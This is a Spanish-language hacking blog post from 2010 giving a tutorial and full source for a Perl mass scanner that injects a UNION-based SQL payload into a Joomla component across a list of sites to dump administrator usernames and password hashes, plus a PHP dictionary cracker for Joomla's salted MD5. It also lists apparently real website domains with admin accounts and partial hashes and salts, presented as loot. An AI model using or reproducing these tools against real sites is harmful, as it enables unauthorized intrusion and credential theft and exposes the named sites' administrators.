| Mobile| RSS

TooLz y Tutorial de Hash Joomla

miércoles, 13 de enero de 2010 | Tags: | 0 Comentarios

*******************************************
** TooLz y Tutorial de Hash Joomla **
** Tuto Hecho por boER / NotFound **
** Remote Execution **
*******************************************

#~ Indice
./Introducción
./Explicación de Hash
./Explicación de Toolz
./Toolz
./Saludos

#~ Introducción

Buenas.. Como muchos han visto los Hash de Joomla no son MD5 comunes,
ya que Joomla usa su propio tipo de encriptación usando un "Salto" para
convinar con la pass original...


#~ Explicación de Hash

Bueno al realizar alguna inyección SQL sobre un portal Joomla nos encontraremos
seguramente con un user y pass del siguiente formato...

admin:a01205a50d8811afc74f43b3a8e2f9c0:12Gg4A1hpReg019t

Tendriamos:

User : admin
Salto : 12Gg4A1hpReg019t <-- Proporcionado por Joomla
Pass Original: 123456789
Pass Original + Salto : a01205a50d8811afc74f43b3a8e2f9c0 <-- Proporcionado por Joomla

Okz el algoritmo que usa Joomla seria así:

md5($passoriginal.$salto)

Ejemplo

md5(12345678912Gg4A1hpReg019t)

De resultado obtendriamos : a01205a50d8811afc74f43b3a8e2f9c0
Si nos fijamos en lo proporcionado a traves de la Inyeccion SQL es el mismo hash.

Si ponemos a crackear el hash que nos proporciona sera casi
imposible obtener el original...

Ojala hayan entendido el algoritmo usado, ahora explicare unas herramientas útiles que me hize.


#~ Explicación de Toolz

Les explicare dos Herramientas una en PHP y otra en Perl.

[Perl] Joomlascan -> Busca en una lista de webs las que encuentre vulnerables.
[PHP] JoomlaCracker -> Cracker con diccionarios.

./Joomlascan

tendremos un archivo con webs a escannear,
ahora tendremos que modificar la inyeccion que usaremos para las webs.
abrimos el joomlascan y buscamos la línea 20..

Por Ejemplo:

my $iny="/index.php?option=com_restaurante&task=detail&Itemid=S@BUN&id=-1/**/union/**/select/**/1,1,1,1,concat(username,0x3a,password)/**/from/**/jos_users/*";

Esta será la inyección que usara el scanner, una vez elijamos una solo nos queda ponerlo a andar..

perl joomlascan.pl webs.txt

y empezará a scannear las webs de la lista...




una vez terminado tendremos los hash encontrados...

./JoomlaCracker

Una vez tengamos los Hash procedemos a meterlos al cracker, podemos poner varios a crackear del siguiente modo..

en el TextArea ponemos

http://tuweb24server.com/restaurante:admin...kNh6C6OORrwgofJ
http://www.portaldegranada.com:admin:45b38...HPZMEZHpYJ5BZPk
http://laesperanzaesjesus.org:admin:53499f...IPiFmmqr38NXnig
http://www.manhattanbkk.com:admin:c3dfbcff...3MgguKqxLIutIbH
http://www.de-liberar.com:admin:26d97cf1de...sD8uRLZneat7Yln
http://www.de-liberar.com:Webmaster:2328d8...ezrEftmFSEh5M6S
http://www.thinkweb.cl:admin:ce97617760f11...l5B8YbdW8X8Lgav
http://tecnologiascefman.com:admin:a01205a...2Gg4A1hpReg019t
http://www.arguineguin.com/web:administrad...981a3e193dbf9f4
http://mexiconights.com.mx:admin:f77ec8f1f...DuCngK48Sd0GZcV

y empezara a crackear..


./Toolz

joomlascan.pl

Si usan windows deben poner como comentario system("clear"); y system("touch websvulns.txt");
y crear un archivo manualmente llamado websvulns.txt en el mismo directorio de la tool.



CODE
#!/usr/bin/perl
use LWP::Simple;
if(!$ARGV[0]){
usage();
}
else{
scan($ARGV[0]);
fin();
sub scan(){
     system("clear");
     my $webs=shift;
     print "####################################################\n";
     print "#                                                  #\n";
     print "#               Joomla Scanner Priv8               #\n";
     print "#                  Coded by boER                   #\n";
     print "#                                                  #\n";
     print "####################################################\n";
     print "\n # => Scanning Webs...\n";
     my $iny="/index.php?option=com_restaurante&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,concat(username,0x3a,password)/**/from/**/jos_users/*"; #AQUI PONEMOS LA INYECCION QUE USAREMOS
        
        #DE AQUI HASTA......
         if($iny =~ /concat\(username\,0x3a\,password\)/ ){
         $iny=~s/concat\(username\,0x3a\,password\)/concat\(char\(60\,98\,111\,101\,114\,62\)\,username\,char\(60\,98\,111\,101\,114\,62\)\,password\,char\(60\,98\,111\,101\,114\,62\)\)/g;
         }
     if($iny =~ /\-\-/ ){
         $iny=~s/\-\-//g;
         }
         if($iny =~ /concat\_ws\(0x3a\,username\,password\)/ ){
         $iny=~s/concat\_ws\(0x3a\,username\,password\)/concat\(char\(60\,98\,111\,101\,114\,62\)\,username\,char\(60\,98\,111\,101\,114\,62\)\,password\,char\(60\,98\,111\,101\,114\,62\)\)/g;
         }
     if($iny =~ /\/\*\*\// ){
         $iny=~s/\/\*\*\// /g;
         }
     if($iny =~ /\/\*/ ){
         $iny=~s/\/\*//g;
         }
         #HASTA AQUI LIMPIAMOS LA INYECCION DE CARACTERES ESPECIALES
     system("touch websvulns.txt");
     my $sitevulns='websvulns.txt';
     open(WEBS,"<",$webs)or die("File Webs Problem :/\n"); # ABRE LA LISTA DE WEBS
     open(VULNS,">>",$sitevulns)or die("File vulns Problem :/\n");
     foreach $webscan(){
     chomp($webscan);
     if($webscan =~ /https\:\/\// ){
         $webscan="https://$webscan";
     }else{
         if($webscan !~ /http\:\/\// ){
         $webscan="http://$webscan";
     }
}
     $webpath=$webscan.$iny; #JUNTAMOS LA WEB CON LA INYECCION
     $webiny=$webscan.$iny.'--';
     $verificar=get($webiny); #GUARDAMOS EL CODE FUENTE
     if($verificar =~ /\(.*?)\(.*?)\/ ){  # AQUI VERIFICA SI ENCONTRO USER Y PASS
     print "    OK!        $webscan\n";
     print VULNS "$webscan:$1:$2\n";
         users($webpath,$webscan);
     }else{
     print "    OFF!        $webscan\n";
     }
     }
}
sub users(){ #EN ESTA FUNCION BUSCA MAS USUARIOS
     $webend=shift;
     $webnorm=shift;
     my $sw=0;
     my $conta=1;
     while($sw==0){
     $mmm="$webend+where+usertype=0x53757065722041646d696e6973747261746f72+limit+$conta,1--";
     $conta++;
     $result=get($mmm)or die("Error web Limit\n");
     if($result =~ /\(.*?)\(.*?)\/ ){
     print VULNS "$webnorm:$1:$2\n";
     $conta++;
     }else{
     $sw=1;
     }
         }
}
sub usage(){
     system("clear");
     print "#############################################\n";
     print "#                                           #\n";
     print "#    perl xpl.pl filewebs.txt               #\n";
     print "#                                           #\n";
     print "#############################################\n";
}
sub fin(){
     $file=shift;
     print " # => Scanning Finished...\n";
     print " # => Coded by boER\n";
}
}



joomlacracker.php

CODE




  













set_time_limit(0);

$crack=$_POST['crack'];

$webs=$_POST['webs'];

if(isset($crack)&&($crack != "")&&(isset($webs))&&($webs != ""))

   {

$web=explode("\n",$webs);

$dic='1.txt'; //AQUI LOS DICCIONARIOS
$countweb=count($web);

$m=file($dic);

$sw=0;   

for($c=0;$c<$countweb;$c++)

      {

       $webexp=explode(":",$web[$c]);  //SEPARAMOS POR PARTES LA URL COMPLETA

       $hash=trim($webexp[3]);  //SACAMOS EL HASH

       $hop=trim($webexp[4]);  //SACAMOS EL SALTO

       if($hop != ""){

       foreach($m as $words)

               {

               $words=trim($words);

           $ja=$words.$hop;  //JUNTAMOS PALABRA DEL DICCIONARIO CON EL SALTO

               $mja=md5($ja);  //LO PASAMOS A MD5

                if($mja==$hash)  //VERIFICAMOS SI ES = AL HASH PROPORCIONADO POR JOOMLA

                 {

                  echo 'Hash cracked -> '.$words."
";

          echo $webexp[0].':'.$webexp[1].':'.$webexp[2].':'.$words."
";

                 $sw=1;

         }

            }

     }

    }

}

?>



.

0 Respondiendo

Publicar un comentario

Ciber Protesta

Blog Archive

Labels

Blogumulus by Roy Tanck and Amanda Fazani

Twitter